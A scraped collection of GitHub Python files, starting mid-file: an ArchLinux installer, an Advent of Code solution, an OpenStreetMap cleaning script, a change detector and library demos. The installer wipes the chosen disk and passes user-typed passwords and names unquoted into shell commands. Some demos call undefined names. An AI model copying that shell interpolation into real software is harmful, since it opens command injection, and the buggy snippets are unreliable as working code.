not(itemPropertieswrtOrientation.get(\"length/mm\") >= itemPropertieswrtOrientation.get(\"width/mm\")):\n                # change length and width since length must be geq width\n                length, width = itemPropertieswrtOrientation.get(\"length/mm\"), itemPropertieswrtOrientation.get(\"width/mm\")\n                itemPropertieswrtOrientation[\"length/mm\"] = width\n                itemPropertieswrtOrientation[\"width/mm\"] = length\n\n            inputDataOrders[orderKey][\"item_sequence\"][str(len(inputDataOrders[orderKey][\"item_sequence\"])+1)] = itemProperties\n            \n\n    # save the dictionary\n    print(f\"save file in {args.dest}\")\n    with open(args.dest, \"w\") as file:\n        json.dump(actionDictionary, file)\n\n\n","repo_name":"floriankagerer/bed-bpp-env","sub_path":"code/utils/o3dbpp_pct/resultConverter.py","file_name":"resultConverter.py","file_ext":"py","file_size_in_byte":10113,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"42017475078","text":"#!/usr/bin/python\n# This is ArchLinux install script\n\nimport os\nimport re\nimport sys\nimport subprocess\nimport platform\n\nUEFI = True\nBIOS = False\n\nNO_DESKTOP = 0\nGNOME = 1\nPLASMA = 2\n\n\ndef just_run(prompt: str):\n    def decorator(func):\n        def wrapper(*args, **kwargs):\n            print(f\"\\033[34m正在{prompt}...\\033[0m\")\n            func(*args, **kwargs)\n            print(\"\\033[32mOK\\033[0m\")\n\n        return wrapper\n\n    return decorator\n\n\n@just_run(\"检查平台\")\ndef check_platform():\n    if platform.uname().system != \"Linux\" or platform.uname().node != \"archiso\":\n         print(\"This script only for archlinux installation\")\n         sys.exit(0)\n\n\ndef check_boot():\n    if os.path.exists(\"/sys/firmware/efi/efivars\"):\n        return UEFI\n    return BIOS\n\n\n@just_run(\"检查网络\")\ndef check_network():\n    code, _ = subprocess.getstatusoutput(\"ping -c 3 www.baidu.com\")\n    if not code == 0:\n        print(\"Please connect Internet\")\n        sys.exit(0)\n\n\ndef run_cmd(*cmd):\n    cmd_str = \" \".join(cmd)\n    code, output = subprocess.getstatusoutput(cmd_str)\n    try:\n        assert code == 0\n    except AssertionError as e:\n        print(f\"ERROR {output}\")\n        sys.exit(code)\n\n    return output\n\n\ndef disk_partition(*ops):\n    cmd_format = 'echo -e \"{args}\" | fdisk'\n    args = []\n    for p in ops:\n        args.append(f\"{p}\\\\n\")\n    return cmd_format.format(args=\"\".join(args))\n\n\ndef find_disk():\n    output = run_cmd(\"fdisk\", \"-l\")\n    disks_ = re.findall(\"(/dev/.+?: [0-9 .]+? .+?iB)\", output)\n    disks = []\n    for each in disks_:\n        if \"rom\" in each or \"loop\" in each or \"airoot\" in each:\n            continue\n        else:\n            disks.append(each)\n\n    if len(disks):\n        print(\"\\033[34m发现如下可用磁盘:\\033[0m\")\n        for i in range(len(disks)):\n            print(f\"\\033[35m{i} - {disks[i]}\\033[0m\")\n    else:\n        print(\"未发现可用磁盘，程序退出\")\n        sys.exit(0)\n\n    choose_index_str = input(\"\\033[34m请从上面选择一个要安装的磁盘(输入序号，默认0): \\033[0m\")\n    choose_index = 0\n    if len(choose_index_str) != 0:\n        choose_index = int(choose_index_str)\n    while choose_index < 0 or choose_index >= len(disks):\n        choose_index = int(input(\"\\033[31m输入的序号有误，请重新输入: \\033[0m\"))\n\n    return disks[choose_index].split(\":\")[0]\n\n\nclass Installation:\n    def __init__(self, boot, desktop, disk, swap, hostname, username, password, ucode):\n        self.boot = boot\n        self.desktop = desktop\n        self.disk = disk\n        self.swap = swap\n        self.hostname = hostname\n        self.username = username\n        self.password = password\n        self.ucode = ucode\n\n    @staticmethod\n    def run_cmd(cmd: str):\n        \"\"\"\n        运行命令\n        \"\"\"\n        print(f\"\\033[33mRUN\\033[0m >>> \\033[36m{cmd}\\033[0m\")\n        code = os.system(cmd)\n        if code != 0:\n            sys.exit(code)\n    \n    def run_cmd_chroot(self, cmd: str):\n        \"\"\"\n        运行命令 arch-chroot\n        \"\"\"\n        self.run_cmd(f\"arch-chroot /mnt {cmd}\")\n\n    @just_run(\"更新系统时间\")\n    def update_datetime(self):\n        \"\"\"\n        更新系统时间\n        \"\"\"\n        self.run_cmd(\"timedatectl set-ntp true\")\n\n    @just_run(\"磁盘分区\")\n    def disk_partition(self):\n        \"\"\"\n        磁盘分区: 包含分区，格式化，挂载，三步骤 todo\n        \"\"\"\n        if self.boot == UEFI:\n            part = disk_partition(\"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\",  # 删除现有分区\n                              \"g\",  # 新建gpt分区表\n                              \"n\", \"\", \"\", \"+512M\",  # 新建EFI分区/boot分区\n                              \"n\", \"\", \"\", f\"+{self.swap}G\",  # swap分区\n                              \"n\", \"\", \"\", \"\",  # 根分区\n                              \"w\"  # 写入\n                              )\n            run_cmd(part, self.disk)\n            # 格式化\n            run_cmd(f\"mkfs.vfat {self.disk}1\")\n            run_cmd(f\"mkswap {self.disk}2\")\n            run_cmd(f\"mkfs.ext4 {self.disk}3\")\n            # 挂载\n            self.run_cmd(f\"mount {self.disk}3 /mnt\")\n            self.run_cmd(\"mkdir -p /mnt/boot/EFI\")\n            self.run_cmd(f\"mount {self.disk}1 /mnt/boot/EFI\")\n            self.run_cmd(f\"swapon {self.disk}2\")\n        elif self.boot == BIOS:\n            part = disk_partition(\"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\", \"d\", \"\",  # 删除现有分区\n                              \"o\",  # 新建mbr分区表\n                              \"n\", \"\", \"\", \"\", \"+512M\", \"Y\",  # 新建EFI分区/boot分区\n                              \"n\", \"\", \"\", \"\", f\"+{self.swap}G\", \"Y\",  # swap分区\n                              \"n\", \"\", \"\", \"\", \"\", \"Y\",  # 根分区\n                              \"w\"  # 写入\n                              )\n            run_cmd(part, self.disk)\n            # 格式化\n            run_cmd(f\"mkfs.ext2 {self.disk}1\")\n            run_cmd(f\"mkswap {self.disk}2\")\n            run_cmd(f\"mkfs.ext4 {self.disk}3\")\n            # 挂载\n            self.run_cmd(f\"mount {self.disk}3 /mnt\")\n            self.run_cmd(\"mkdir -p /mnt/boot\")\n            self.run_cmd(f\"mount {self.disk}1 /mnt/boot\")\n            self.run_cmd(f\"swapon {self.disk}2\")\n\n    @just_run(\"下载基础软件包\")\n    def download_linux(self):\n        \"\"\"\n        下载linux基础软件包\n        \"\"\"\n        self.run_cmd(f\"pacstrap /mnt base base-devel linux linux-firmware vim openssh zsh git wget curl {self.ucode}\")\n\n    @just_run(\"生成fstab文件\")\n    def gen_fstab(self):\n        \"\"\"\n        生成fstab文件\n        \"\"\"\n        self.run_cmd(\"genfstab -U /mnt >> /mnt/etc/fstab\")\n\n    @just_run(\"设置时区\")\n    def set_timezone(self):\n        \"\"\"\n        设置时区\n        \"\"\"\n        self.run_cmd_chroot(\"ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\")\n        self.run_cmd_chroot(\"hwclock --systohc\")\n\n    @just_run(\"设置地区\")\n    def set_locale(self):\n        \"\"\"\n        系统语言设置\n        \"\"\"\n        self.run_cmd_chroot(\"sed -in-place -e 's/#zh_CN.UTF-8 UTF-8/zh_CN.UTF-8 UTF-8/g' /etc/locale.gen\")\n        self.run_cmd_chroot(\"sed -in-place -e 's/#en_US.UTF-8 UTF-8/en_US.UTF-8 UTF-8/g' /etc/locale.gen\")\n        self.run_cmd_chroot(\"locale-gen\")\n        self.run_cmd_chroot('echo \"LANG=en_US.UTF-8\" > /etc/locale.conf')\n\n    @just_run(\"设置host\")\n    def set_host(self):\n        \"\"\"\n        设置系统host\n        \"\"\"\n        self.run_cmd_chroot(f'echo \"{self.hostname}\" > /etc/hostname')\n        self.run_cmd_chroot('''tee /etc/hosts <<-'EOF'\\n127.0.0.1\tlocalhost\\n::1\t\tlocalhost\\nEOF''')\n\n    @just_run(\"设置网络\")\n    def set_network(self):\n        \"\"\"\n        设置系统网络：包括下载，自启动\n        \"\"\"\n        self.run_cmd(\"pacstrap /mnt dhcpcd networkmanager\")\n        self.run_cmd_chroot(\"systemctl enable dhcpcd\")\n        self.run_cmd_chroot(\"systemctl enable NetworkManager\")\n\n    @just_run(\"设置grub引导\")\n    def set_grub(self):\n        \"\"\"\n        设置grub引导\n        \"\"\"\n        if self.boot == UEFI:\n            self.run_cmd(\"pacstrap /mnt grub efibootmgr\")\n            self.run_cmd_chroot(\"grub-install --target=x86_64-efi --efi-directory=/boot/EFI --bootloader-id=GRUB\")\n            self.run_cmd_chroot(\"grub-mkconfig -o /boot/grub/grub.cfg\")\n        elif self.boot == BIOS:\n            self.run_cmd(\"pacstrap /mnt grub\")\n            self.run_cmd_chroot(f\"grub-install {self.disk}\")\n            self.run_cmd_chroot(\"grub-mkconfig -o /boot/grub/grub.cfg\")\n\n    @just_run(\"设置用户名和密码\")\n    def set_user(self):\n        \"\"\"\n        设置普通用户\n        \"\"\"\n        self.run_cmd_chroot(f\"sh -c \\\"echo 'root:{self.password}' | chpasswd\\\"\")\n        self.run_cmd_chroot(f\"useradd -m -G wheel -s /bin/zsh {self.username}\")\n        self.run_cmd_chroot(f\"sh -c \\\"echo '{self.username}:{self.password}' | chpasswd\\\"\")\n        self.run_cmd_chroot(\"sed -in-place -e 's/# %wheel ALL=(ALL) ALL/%wheel ALL=(ALL) ALL/g' /etc/sudoers\")\n\n    @just_run(\"设置桌面环境\")\n    def set_desktop(self):\n        \"\"\"\n        设置桌面环境\n        \"\"\"\n        if self.desktop == NO_DESKTOP:\n            return\n        self.run_cmd(\"pacstrap /mnt xorg alsa-utils pulseaudio pulseaudio-alsa xf86-input-synaptics\")\n        self.run_cmd(\"pacstrap /mnt ttf-dejavu wqy-microhei\")\n        self.run_cmd_chroot(f\"sh -c \\\"echo 'LANG=zh_CN.UTF-8' > /etc/locale.conf\\\"\")\n        if self.desktop == GNOME:\n            self.run_cmd(\"pacstrap /mnt gdm gnome gnome-extra\")\n            self.run_cmd_chroot(\"systemctl enable gdm\")\n        elif self.desktop == PLASMA:\n            self.run_cmd(\"pacstrap /mnt plasma kde-applications libdbusmenu-glib appmenu-gtk-module packagekit-qt5\")\n            self.run_cmd_chroot(\"systemctl enable sddm\")\n\n    @just_run(\"进行收尾工作\")\n    def finish(self):\n        \"\"\"\n        收尾工作\n        \"\"\"\n        self.run_cmd_chroot(\"systemctl enable sshd\")\n        self.run_cmd(\"umount -R /mnt\")\n\n\ndef main():\n    # ======================= 检查安装环境 ======================= #\n    # 检查平台\n    check_platform()\n\n    # 检查网络\n    check_network()\n\n    # 确定引导方式\n    boot = check_boot()\n\n    # 选择桌面\n    desktop = int(input(\"\\033[32m脚本支持以下桌面环境:\\033[0m\\n\\033[35m0. 无桌面\\n1. gnome\\n2. plasma\\n\\033[32m请选择桌面环境: \\033[0m\"))\n    while desktop not in (0, 1, 2):\n        desktop = int(input(\"\\033[31m输入有误请重新输入: \\033[0m\"))\n\n    # 选择磁盘\n    disk = find_disk()\n\n    # 选择swap\n    swap_mem = int(input(\"\\033[36m请输入swap分区的内存大小(单位G): \\033[0m\"))\n    while swap_mem < 1:\n        swap_mem = int(input(\"\\033[31m输入不合法，请重新输入: \\033[0m\"))\n\n    # hostname\n    host = input(\"\\033[33m请输入hostname: \\033[0m\")\n\n    # username & password\n    username = input(\"\\033[33m请输入新用户名: \\033[0m\")\n    while username == \"root\":\n        username = input(\"\\033[31m用户名有误请重新输入: \\033[0m\")\n    passwd = input(\"\\033[33m请为管理员用户设置密码: \\033[0m\")\n\n    # ucode\n    ucode = \"\"\n    code = int(input(\"\\033[32m脚本支持以下cpu:\\n\\033[35m0. intel\\n1. amd\\n2. 其他\\n\\033[32m请选择你的cpu类型: \\033[0m\"))\n    while code not in (0, 1, 2):\n        code = int(input(\"\\033[31m输入有误请重新输入: \\033[0m\"))\n    if code == 0:\n        ucode = \"intel-ucode\"\n    elif code == 1:\n        ucode = \"amd-ucode\"\n\n    print(\"\\033[33m=============信息确认=============\\033[0m\")\n    print(f\"\\033[33m= \\033[36m引导方式: {('BIOS', 'UEFI')[boot]}\\033[0m\")\n    print(f\"\\033[33m= \\033[36m桌面环境: {('无桌面', 'Gnome', 'Plasma')[desktop]}\\033[0m\")\n    print(f\"\\033[33m= \\033[36m安装磁盘: {disk}\\033[0m\")\n    print(f\"\\033[33m= \\033[36mswap大小: {swap_mem}G\\033[0m\")\n    print(f\"\\033[33m= \\033[36mhostname: {host}\\033[0m\")\n    print(f\"\\033[33m= \\033[36mcpu类型: {('intel', 'amd', 'other')[code]}\\033[0m\")\n    print(f\"\\033[33m= \\033[36m用户名: {username}\\033[0m\")\n    print(f\"\\033[33m= \\033[36m密码(root用户也会设置为该密码): {passwd}\\033[0m\")\n    print(\"\\033[33m===============================\\033[0m\")\n    yn = input(\"确认信息无误(Y/n): \")\n    if yn.lower() == \"n\":\n        print(\"未开始安装, 安装退出\")\n        exit(0)\n\n    installation = Installation(boot, desktop, disk, swap_mem, host, username, passwd, ucode)\n\n    # ======================= 下面是正式安装过程 ======================= #\n    installation.update_datetime()\n    installation.disk_partition()\n    installation.download_linux()\n    installation.gen_fstab()\n    installation.set_timezone()\n    installation.set_locale()\n    installation.set_host()\n    installation.set_network()\n    installation.set_grub()\n    installation.set_user()\n    installation.set_desktop()\n    installation.finish()\n\n    print(\"SUCCESS\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"kainhuck/Archlinux-installation-script","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":11973,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"4843458547","text":"import pathlib\n\nWORKDIR = str(pathlib.Path(__file__).parent.resolve())\n\n# ----------- PART 1 -------------------\nelf_pairs = []\nwith open(WORKDIR + \"/input\") as f:\n    for line in f:\n        elf_a, elf_b = line.strip().split(\",\")\n        a = tuple(map(int, elf_a.split(\"-\")))\n        b = tuple(map(int, elf_b.split(\"-\")))\n\n        elf_pairs.append((a, b))\n\n\ndef check_for_complete_overlap(a, b):\n    if a[1] - a[0] < b[1] - b[0]:\n        return a[0] >= b[0] and a[1] <= b[1]\n    else:\n        return b[0] >= a[0] and b[1] <= a[1]\n\n\ncomplete_overlap_count = sum(\n    [check_for_complete_overlap(*range_pair) for range_pair in elf_pairs]\n)\n\nprint(\"Part 1:\", complete_overlap_count)\n\n# ----------- PART 2 -------------------\ndef check_for_any_overlap(a, b):\n    if a[1] - a[0] < b[1] - b[0]:\n        return b[0] <= a[0] <= b[1] or b[0] <= a[1] <= b[1]\n    else:\n        return a[0] <= b[0] <= a[1] or a[0] <= b[1] <= a[1]\n\n\nany_overlap_count = sum(\n    [check_for_any_overlap(*range_pair) for range_pair in elf_pairs]\n)\n\nprint(\"Part 2:\", any_overlap_count)\n","repo_name":"jaolejnik/AoCpy","sub_path":"2022/day04/day04.py","file_name":"day04.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29480514956","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n\"\"\"\nCreated on Sat Jun 10 12:17:08 2017\n\n@author: Suzannah\n\"\"\"\n\nimport xml.etree.cElementTree as ET  # Use cElementTree or lxml if too slow\nimport pprint\nimport re\nimport csv\nimport codecs\nimport cerberus\n\nimport schema\n\nOSM_PATH = \"Oxfordshire.osm\"\n\nstreet_type_re = re.compile(r'\\s\\b\\S+\\.?$', re.IGNORECASE)\nThe_street_re = re.compile(r'^The', re.IGNORECASE)\nSaint_street_re = re.compile(r'^Saint', re.IGNORECASE)\n\nexpected = [' Street', ' Avenue', ' Road', ' Drive', ' Way', ' Close', ' Place',  ' Court',\n            ' Crescent', ' Down', ' End', ' Furze', ' Lane', ' Mews', ' Park', ' Gardens',\n            ' Hill', ' Meadow', ' Square', ' Town', ' Parade', ' Walk', ' Rise', ' East',\n            ' Mead', ' Turn', ' Valley', ' View', ' West', ' Wharf', ' Terrace', ' South',\n            ' Moors', ' Fields', ' Entry', ' Driftway', ' Bridge', ' Area', ' Centre']\n\nmapping = {' Ave': ' Avenue',\n          ' Rd': ' Road',\n          ' St': ' Street',\n          ' road': ' Road',\n          ' way': ' Way',\n          ' Way,': ' Way',\n          ' Way?': ' Way',\n          \" Giles'\": \" Giles\",\n          \"St Clements\": \"St Clement's Street\",\n          \"St Clements Street\": \"St Clement's Street\",\n          \"Saint Giles'\": \"St Giles\",\n          'Milton Gate, Milton': 'Milton Gate',\n          'Milton Gate, Milton Park': 'Milton Park',\n          '111': \"\",\n          'Unit 1, Seacourt Towers, West Way': 'West Way',\n          '41 Woodlands Road': 'Woodland Road',\n          '2 Savile Road': 'Savile Road'}\n\nexpected_speeds = ['5 mph', '10 mph', '15 mph', '20 mph', '25 mph', '30 mph', '40 mph',\n            '50 mph', '60 mph', '70 mph']\n\nmapping_speeds = {'10': '10 mph',\n                  '20': '20 mph',\n                  '30': '30 mph',\n                  '50': '50 mph'}\n\n#Function used to clean street names ussing regex and mapping             \ndef audit_street_type(street_name, mapping):\n    m = street_type_re.search(street_name)\n    s = Saint_street_re.search(street_name)\n    if street_name in mapping.keys():\n        street_name = mapping[street_name]\n    if s:\n        saint = s.group()\n        street_name = re.sub(saint, 'St', street_name)\n    if m:\n        street_type = m.group()\n        if street_type not in expected:\n            if street_type in mapping.keys():\n                street_name = re.sub(street_type, mapping[street_type], street_name)             \n    return street_name\n\n#Function used to clean speed limits using mapping             \ndef audit_clean_speed_limits(speed_limit, mapping_speeds):\n    if speed_limit not in expected_speeds:\n        if speed_limit in mapping_speeds.keys():\n            speed_limit = mapping_speeds[speed_limit]\n        else:\n            speed_limit = \"\"\n    return speed_limit      \n        \nNODES_PATH = \"nodes.csv\"\nNODE_TAGS_PATH = \"nodes_tags.csv\"\nWAYS_PATH = \"ways.csv\"\nWAY_NODES_PATH = \"ways_nodes.csv\"\nWAY_TAGS_PATH = \"ways_tags.csv\"\n\nLOWER_COLON = re.compile(r'^([a-z]|_)+:([a-z]|_)+')\nPROBLEMCHARS = re.compile(r'[=\\+/&<>;\\'\"\\?%#$@\\,\\. \\t\\r\\n]')\n\nSCHEMA = schema.schema\n\n# Make sure the fields order in the csvs matches the column order in the sql table schema\nNODE_FIELDS = ['id', 'lat', 'lon', 'user', 'uid', 'version', 'changeset', 'timestamp']\nNODE_TAGS_FIELDS = ['id', 'key', 'value', 'type']\nWAY_FIELDS = ['id', 'user', 'uid', 'version', 'changeset', 'timestamp']\nWAY_TAGS_FIELDS = ['id', 'key', 'value', 'type']\nWAY_NODES_FIELDS = ['id', 'node_id', 'position']\n\n\ndef shape_element(element, node_attr_fields=NODE_FIELDS, way_attr_fields=WAY_FIELDS,\n                  problem_chars=PROBLEMCHARS, default_tag_type='regular'):\n    \"\"\"Clean and shape node or way XML element to Python dict\"\"\"\n\n    node_attribs = {}\n    way_attribs = {}\n    way_nodes = []\n    tags = []  # Handle secondary tags the same way for both node and way elements\n\n    # YOUR CODE HERE\n    if element.tag == 'node':\n        for node in NODE_FIELDS:\n            try:\n                node_attribs[node] = element.attrib[node]\n            except:\n                # see what the issue is, remove when done\n                #print(node)\n                # -> it seems that some 'node' elements do not have a 'user' and 'uid' attribute\n                # to resolve issue -> if the attribute doesn't exist, fill it with something\n                node_attribs[node] = '000'\n                     \n    elif element.tag == 'way':\n        for way in WAY_FIELDS:\n            way_attribs[way] = element.attrib[way]\n   \n    count = 0  \n    for child in element:\n        if child.tag == 'tag':\n            tag = {}\n            match = LOWER_COLON.search(child.attrib['k'])    \n            problem = PROBLEMCHARS.search(child.attrib['k'])\n                           \n            if problem:\n                continue\n            elif match:\n                tag['id'] = element.attrib['id']\n                tag['value'] = child.attrib['v']\n                #cleaning street names\n                if child.attrib['k'] == 'addr:street':\n                    tag['value'] = audit_street_type(child.attrib['v'], mapping)  \n                match_clear = child.attrib['k'].split(\":\", 1)\n                tag['type'] = match_clear[0]\n                tag['key'] = match_clear[1] \n                \n            else:                \n                tag['key'] = child.attrib['k']\n                tag['type'] = 'regular'\n                tag['id'] = element.attrib['id']\n                tag['value'] = child.attrib['v']\n                #cleaning speed limits\n                if child.attrib['k'] == 'maxspeed':\n                    tag['value'] = audit_clean_speed_limits(child.attrib['v'], mapping_speeds)\n                      \n            tags.append(tag)\n        \n        if child.tag == 'nd':\n            way_node = {}\n            way_node['id'] = element.attrib['id']\n            way_node['node_id'] = child.attrib['ref']\n            way_node['position'] = count\n            count += 1\n            \n            way_nodes.append(way_node)    \n        \n    if element.tag == 'node':        \n        return {'node': node_attribs, 'node_tags': tags}\n        \n    if element.tag == 'way':\n        return {'way': way_attribs, 'way_nodes': way_nodes, 'way_tags': tags}\n        \n\n# ================================================== #\n#               Helper Functions                     #\n# ================================================== #\ndef get_element(osm_file, tags=('node', 'way', 'relation')):\n    \"\"\"Yield element if it is the right type of tag\"\"\"\n\n    context = ET.iterparse(osm_file, events=('start', 'end'))\n    _, root = next(context)\n    for event, elem in context:\n        if event == 'end' and elem.tag in tags:\n            yield elem\n            root.clear()\n\n\ndef validate_element(element, validator, schema=SCHEMA):\n    \"\"\"Raise ValidationError if element does not match schema\"\"\"\n    if validator.validate(element, schema) is not True:\n        field, errors = next(validator.errors.iteritems())\n        message_string = \"\\nElement of type '{0}' has the following errors:\\n{1}\"\n        error_string = pprint.pformat(errors)\n        \n        raise Exception(message_string.format(field, error_string))\n\n\nclass UnicodeDictWriter(csv.DictWriter, object):\n    \"\"\"Extend csv.DictWriter to handle Unicode input\"\"\"\n\n    def writerow(self, row):\n        super(UnicodeDictWriter, self).writerow({\n            k: (v.encode('utf-8') if isinstance(v, unicode) else v) for k, v in row.iteritems()\n        })\n\n    def writerows(self, rows):\n        for row in rows:\n            self.writerow(row)\n\n\n# ================================================== #\n#               Main Function                        #\n# ================================================== #\ndef process_map(file_in, validate):\n    \"\"\"Iteratively process each XML element and write to csv(s)\"\"\"\n\n    with codecs.open(NODES_PATH, 'w') as nodes_file, \\\n         codecs.open(NODE_TAGS_PATH, 'w') as nodes_tags_file, \\\n         codecs.open(WAYS_PATH, 'w') as ways_file, \\\n         codecs.open(WAY_NODES_PATH, 'w') as way_nodes_file, \\\n         codecs.open(WAY_TAGS_PATH, 'w') as way_tags_file:\n\n        nodes_writer = UnicodeDictWriter(nodes_file, NODE_FIELDS, lineterminator = '\\n')\n        node_tags_writer = UnicodeDictWriter(nodes_tags_file, NODE_TAGS_FIELDS, lineterminator = '\\n')\n        ways_writer = UnicodeDictWriter(ways_file, WAY_FIELDS, lineterminator = '\\n')\n        way_nodes_writer = UnicodeDictWriter(way_nodes_file, WAY_NODES_FIELDS, lineterminator = '\\n')\n        way_tags_writer = UnicodeDictWriter(way_tags_file, WAY_TAGS_FIELDS, lineterminator = '\\n')\n\n        nodes_writer.writeheader()\n        node_tags_writer.writeheader()\n        ways_writer.writeheader()\n        way_nodes_writer.writeheader()\n        way_tags_writer.writeheader()\n\n        validator = cerberus.Validator()\n\n        for element in get_element(file_in, tags=('node', 'way')):\n            el = shape_element(element)\n            if el:\n                if validate is True:\n                    validate_element(el, validator)\n\n                if element.tag == 'node':\n                    nodes_writer.writerow(el['node'])\n                    node_tags_writer.writerows(el['node_tags'])\n                elif element.tag == 'way':\n                    ways_writer.writerow(el['way'])\n                    way_nodes_writer.writerows(el['way_nodes'])\n                    way_tags_writer.writerows(el['way_tags'])\n\n\nif __name__ == '__main__':\n    # Note: Validation is ~ 10X slower. For the project consider using a small\n    # sample of the map when validating.\n    process_map(OSM_PATH, validate=False)\n","repo_name":"SuzannahW/OSM-Data-Exploration","sub_path":"Cleaning_and_loading_to_csv_submission.py","file_name":"Cleaning_and_loading_to_csv_submission.py","file_ext":"py","file_size_in_byte":9620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28029300304","text":"from sklearn.covariance import EmpiricalCovariance, MinCovDet\n\nclass ChangeDetector(object):\n    \"\"\"\n    Joint Gaussian Change detector using a scikit learn style interface\n    \n    This class is really a wrapper around the methods in scikit learn for estimating covariance using\n    robust or empirical methods and calculating the mahalanobis distances.\n\n    \"\"\"\n\n    def __init__(self, method='robust', estimator_kw_args={}):\n        if method is 'robust':\n            self.covariance_estimator_ = MinCovDet(**estimator_kw_args)\n        elif method is 'empirical': \n            self.covariance_estimator_ = EmpiricalCovariance(**estimator_kw_args)\n        else:\n            raise ValueError(\"{} is not a valid method. Must be one of 'robust' or 'empirical'\".format(method))\n        \n\n\n    def fit(self, X):\n        \"\"\"\n        Fits the estimator.\n\n        Parameters:\n        -----------\n        X - array of time series, shape (n_series, len_series)\n        \"\"\"\n        self.covariance_estimator_ = self.covariance_estimator_.fit(X)\n        return self\n\n\n\n    def predict(self, X, threshold):\n        \"\"\"\n        Returns true for each time series predicted as change. Also returns the mahalanobis distances\n\n        parameters:\n        -----------\n        X - array of time series, shape (n_series, len_series)\n        threshold - float\n\n        returns:\n        y_pred - shape (n_time_series), true of change detected\n        distances - shape (n_time_series). The mahanobis distances of each time series under the fitted distribution\n        \"\"\"\n        distances = self.covariance_estimator_.mahalanobis(X)\n        return distances > threshold, distances\n","repo_name":"willemolding/JointGaussianChangeDetector","sub_path":"jointcd/change_detector.py","file_name":"change_detector.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18600928400","text":"\"\"\"\r\nBrowser Commands\r\n\r\n-> close() - close single browser window (where driver focused) - will not kill the process\r\n-> quit() - close multiple browser windows - killing the process of the chrome driver\r\n\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.service import Service\r\n\r\nsite_url = \"https://demo.nopcommerce.com/register\"\r\ndriver_path = \"D:\\Development\\driver\\Chrome\\chromedriver.exe\"\r\n\r\nserv_obj = Service(driver_path)\r\n\r\n# close\r\ndriver = webdriver.Chrome(service=serv_obj)  # we need to user service=serv_obj, but it's showing error\r\ndriver.maximize_window()  # maximize the browser window\r\ndriver.get(site_url)\r\ndriver.close()\r\n\r\n# quit\r\ndriver1 = webdriver.Chrome(service=serv_obj)  # we need to user service=serv_obj, but it's showing error\r\ndriver1.maximize_window()  # maximize the browser window\r\ndriver1.get(site_url)\r\ndriver1.quit()\r\n","repo_name":"gokuldevp/Selenium-Using-Python","sub_path":"Session 5/browsercommands.py","file_name":"browsercommands.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72497888400","text":"# flake8: noqa\nimport time\n\nimport napari\nimport numpy\nimport numpy as np\nfrom aydin.features.fast.fast_features import FastFeatureGenerator\nfrom skimage.data import camera\nfrom skimage.exposure import rescale_intensity\nfrom skimage.metrics import peak_signal_noise_ratio as psnr\nfrom skimage.metrics import structural_similarity as ssim\nfrom skimage.util import random_noise\n\nfrom aydin.io.datasets import normalise\nfrom aydin.it.fgr import ImageTranslatorFGR\nfrom aydin.util.log.log import Log\n\n\ndef demo():\n    \"\"\"\n    Demo for how to stop training from an other thread.\n    \"\"\"\n\n    Log.set_log_max_depth(5)\n\n    image = camera().astype(np.float32)\n    image = normalise(image)\n\n    intensity = 5\n    np.random.seed(0)\n    noisy = np.random.poisson(image * intensity) / intensity\n    noisy = random_noise(noisy, mode='gaussian', var=0.01, seed=0)\n    noisy = noisy.astype(np.float32)\n\n    generator = FastFeatureGenerator(max_level=10)\n    regressor = GBMRegressor()\n    # regressor = NNRegressor()\n    # regressor = CBRegressor()\n\n    it = ImageTranslatorFGR(\n        feature_generator=generator, regressor=regressor, max_voxels_for_training=1e7\n    )\n\n    from threading import Timer\n\n    def stop_training():\n        print(\"!!STOPPING TRAINING NOW FROM ANOTHER THREAD!!\")\n        it.stop_training()\n\n    t = Timer(20.0, stop_training)\n    t.start()\n\n    start = time.time()\n    denoised = it.train(noisy, noisy)\n    stop = time.time()\n    print(f\"Training: elapsed time:  {stop - start} \")\n\n    # in case of batching we have to do this:\n    start = time.time()\n    denoised_inf = it.translate(noisy)\n    stop = time.time()\n    print(f\"inference: elapsed time:  {stop - start} \")\n\n    denoised = rescale_intensity(denoised, in_range='image', out_range=(0, 1))\n\n    image = numpy.clip(image, 0, 1)\n    noisy = numpy.clip(noisy, 0, 1)\n    denoised = numpy.clip(denoised, 0, 1)\n    denoised_inf = numpy.clip(denoised_inf, 0, 1)\n\n    print(\"noisy       :\", psnr(image, noisy), ssim(noisy, image))\n    print(\"denoised    :\", psnr(image, denoised), ssim(denoised, image))\n    print(\"denoised_inf:\", psnr(image, denoised_inf), ssim(denoised_inf, image))\n\n    with napari.gui_qt():\n        viewer = napari.Viewer()\n        viewer.add_image(n(image), name='image')\n        viewer.add_image(n(noisy), name='noisy')\n        viewer.add_image(n(denoised), name='denoised')\n        viewer.add_image(n(denoised_inf), name='denoised_inf')\n\n\nif __name__ == \"__main__\":\n    demo()\n","repo_name":"royerlab/aydin","sub_path":"aydin/it/demo/fgr/stop_training.py","file_name":"stop_training.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"}
